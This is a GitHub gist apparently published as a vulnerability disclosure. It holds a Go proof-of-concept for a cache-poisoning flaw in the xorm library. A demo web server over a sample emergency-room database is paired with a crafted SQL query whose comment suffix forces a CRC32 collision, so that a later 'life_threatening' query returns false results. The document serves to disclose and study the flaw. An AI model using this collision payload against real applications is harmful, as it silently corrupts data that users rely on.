Skip to content

Instantly share code, notes, and snippets.

@DepthFirstDisclosures
Created September 8, 2025 22:50
Show Gist options
  • Select an option

  • Save DepthFirstDisclosures/b63b8838a57d05434208029220e64ff0 to your computer and use it in GitHub Desktop.

Select an option

Save DepthFirstDisclosures/b63b8838a57d05434208029220e64ff0 to your computer and use it in GitHub Desktop.
package main
/*
Author: Mav Levin @ DepthFirst.com
This is a proof-of-concept (PoC) for exploiting the
cache poisoning vulnerability in the xorm golang library.
If an attacker can a influence a session's SQL query string,
they are able to influence all future sql queries and responses
in that session.
*/
/*
Quick Setup:
1. Execute `go run .`
2. Open http://localhost:8080/
3. Execute the queries below in order.
Notice that the *important query* returns false results.
The query should return the patients that are in critical condition,
(ie "Sam Sample" and "John Doe"), but retuns null.
Queries to execute:
1. To show the database is read-only: `UPDATE er_visits SET diagnosis = NULL;`
2. To show the sql queries are valid before the exploit: `SELECT * FROM er_visits WHERE patient = 'Pat Patient'`
3. Malicious exploit query to poison next query: `SELECT * FROM er_visits WHERE patient = 'query that will lead to crc32 collision that will poison future queries!' -- ZkQXD`
4. *Important query* from victim: `SELECT * FROM er_visits WHERE life_threatening = 1;`
*/
import (
"encoding/json"
"fmt"
"hash/crc32"
"html/template"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
_ "modernc.org/sqlite" // registers driver name "sqlite"
"xorm.io/xorm"
)
var (
engine *xorm.Engine
sharedSess *xorm.Session
sessMu sync.Mutex
histMu sync.Mutex
history []QueryRecord
)
const (
dataDir = "data"
dbFile = "open.db"
)
func main() {
// Ensure DB exists with sample data, then open read-only for serving
if err := ensureDB(filepath.Join(dataDir, dbFile)); err != nil {
log.Fatalf("ensureDB: %v", err)
}
eng, err := openReadOnly(filepath.Join(dataDir, dbFile))
if err != nil {
log.Fatalf("openReadOnly: %v", err)
}
engine = eng
sharedSess = engine.NewSession()
mux := http.NewServeMux()
mux.HandleFunc("/", handleIndex)
mux.HandleFunc("/query", handleQuery)
addr := ":8080"
log.Printf("read-only DB server on %s", addr)
if err := http.ListenAndServe(addr, mux); err != nil {
log.Fatal(err)
}
}
func handleIndex(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" {
http.NotFound(w, r)
return
}
preview, _ := previewRows()
// snapshot history newest-first
histMu.Lock()
hist := make([]QueryRecord, len(history))
copy(hist, history)
histMu.Unlock()
// reverse for newest first
for i, j := 0, len(hist)-1; i < j; i, j = i+1, j-1 {
hist[i], hist[j] = hist[j], hist[i]
}
mustRender(w, indexTpl, map[string]any{
"Preview": preview,
"DBPath": filepath.Join(dataDir, dbFile),
"History": hist,
})
}
func handleQuery(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodPost:
if err := r.ParseForm(); err != nil {
httpError(w, err)
return
}
sqlText := strings.TrimSpace(r.FormValue("sql"))
var resultSummary string
var crcData string
if rows, err := queryRowsString(sqlText); err != nil {
resultSummary = fmt.Sprintf("error: %v", err)
} else if b, merr := json.Marshal(rows); merr == nil {
resultSummary = string(b)
crcData = fmt.Sprintf("0x%08x", crc32.ChecksumIEEE([]byte(sqlText)))
} else {
resultSummary = fmt.Sprintf("<error marshaling rows: %v>", merr)
crcData = "error"
}
rec := QueryRecord{
SQL: sqlText,
CRC: crcData,
Result: resultSummary,
}
recordHistory(rec)
http.Redirect(w, r, "/", http.StatusSeeOther)
default:
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
}
}
// queryRowsString reads rows via shared session prepared statements as []map[string]string
func queryRowsString(sqlText string) ([]map[string]string, error) {
sessMu.Lock()
defer sessMu.Unlock()
return sharedSess.Prepare().QueryString(sqlText)
}
// previewRows queries a small preview using the shared prepared session
func previewRows() ([]map[string]string, error) {
sql := "SELECT id, patient, age, diagnosis, life_threatening FROM er_visits ORDER BY id DESC LIMIT 5"
return queryRowsString(sql)
}
// QueryRecord captures a query summary for history
type QueryRecord struct {
SQL string
CRC string
Result string
}
func recordHistory(rec QueryRecord) {
histMu.Lock()
defer histMu.Unlock()
history = append(history, rec)
}
// Templates
var indexTpl = template.Must(template.New("index").Funcs(template.FuncMap{
"add": func(a, b int) int { return a + b },
}).Parse(`<!doctype html>
<meta charset="utf-8">
<title>Read-Only Emergency Room Data</title>
<h1>Read-Only Emergency Room Data</h1>
<h2>Try a Query</h2>
<form action="/query" method="post">
<div>
<label>SQL</label><br>
<textarea name="sql" rows="4" cols="80" placeholder="SELECT * FROM er_visits WHERE patient = 'Pat Patient'" required></textarea>
</div>
<button>Run</button>
<p>
<small>
Columns: <code>patient</code>=name, <code>age</code>=years, <code>diagnosis</code>=notes, <code>life_threatening</code>=0/1.
<br>
Example: <code>SELECT * FROM er_visits WHERE patient = 'Pat Patient'</code>
</small>
</p>
</form>
<h2>Preview</h2>
<table border="1" cellpadding="6" cellspacing="0">
<tr><th>id</th><th>patient</th><th>age</th><th>diagnosis</th><th>life_threatening</th></tr>
{{range .Preview}}
<tr>
<td>{{index . "id"}}</td>
<td>{{index . "patient"}}</td>
<td>{{index . "age"}}</td>
<td>{{index . "diagnosis"}}</td>
<td>{{index . "life_threatening"}}</td>
</tr>
{{else}}
<tr><td colspan="5"><em>No rows</em></td></tr>
{{end}}
</table>
<h2>Query History</h2>
<table border="1" cellpadding="6" cellspacing="0">
<tr><th>#</th><th>SQL</th><th>Result</th><th>CRC32</th></tr>
{{range $i, $r := .History}}
<tr>
<td>{{add $i 1}}</td>
<td><code>{{$r.SQL}}</code></td>
<td><code>{{$r.Result}}</code></td>
<td>{{$r.CRC}}</td>
</tr>
{{else}}
<tr><td colspan="4"><em>No history yet</em></td></tr>
{{end}}
</table>
`))
func mustRender(w http.ResponseWriter, tpl *template.Template, data any) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
if err := tpl.Execute(w, data); err != nil {
log.Printf("template exec: %v", err)
}
}
func httpError(w http.ResponseWriter, err error) {
log.Printf("error: %v", err)
http.Error(w, err.Error(), http.StatusBadRequest)
}
// ensureDB creates and seeds the DB file if missing
func ensureDB(path string) error {
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return err
}
// Always recreate DB for this PoC; remove any previous files (and sidecars)
_ = os.Remove(path)
_ = os.Remove(path + "-wal")
_ = os.Remove(path + "-shm")
// Create & seed with a writeable connection then close
eng, err := xorm.NewEngine("sqlite", fmt.Sprintf("file:%s?cache=shared&mode=rwc&_busy_timeout=5000", path))
if err != nil {
return err
}
defer eng.Close()
if _, err := eng.Exec(`
PRAGMA journal_mode=WAL;
`); err != nil {
return err
}
if _, err := eng.Exec(`
CREATE TABLE IF NOT EXISTS er_visits (
id INTEGER PRIMARY KEY AUTOINCREMENT,
patient TEXT NOT NULL,
age INTEGER NOT NULL,
diagnosis TEXT,
life_threatening INTEGER NOT NULL -- 0=false, 1=true
);
`); err != nil {
return fmt.Errorf("create table: %w", err)
}
// Seed some example ER-style data
type row struct {
patient string
age int
dx string
lt int // 0/1
}
inserts := []row{
{"John Doe", 45, "Chest pain, rule-out MI", 1},
{"Jane Doe", 37, "Hyperglycemia, Type 2 Diabetes", 0},
{"Alex Roe", 29, "Asthma exacerbation", 0},
{"Sam Sample", 54, "Severe headache, possible SAH", 1},
{"Pat Patient", 41, "Injury to forearm", 0},
}
for _, r := range inserts {
if _, err := eng.Exec(
"INSERT INTO er_visits(patient, age, diagnosis, life_threatening) VALUES(?, ?, ?, ?)",
r.patient, r.age, r.dx, r.lt,
); err != nil {
return err
}
}
return nil
}
func openReadOnly(path string) (*xorm.Engine, error) {
// Open in SQLite URI "ro" mode to enforce read-only at connection level
return xorm.NewEngine("sqlite", fmt.Sprintf("file:%s?cache=shared&mode=ro&_busy_timeout=5000", path))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment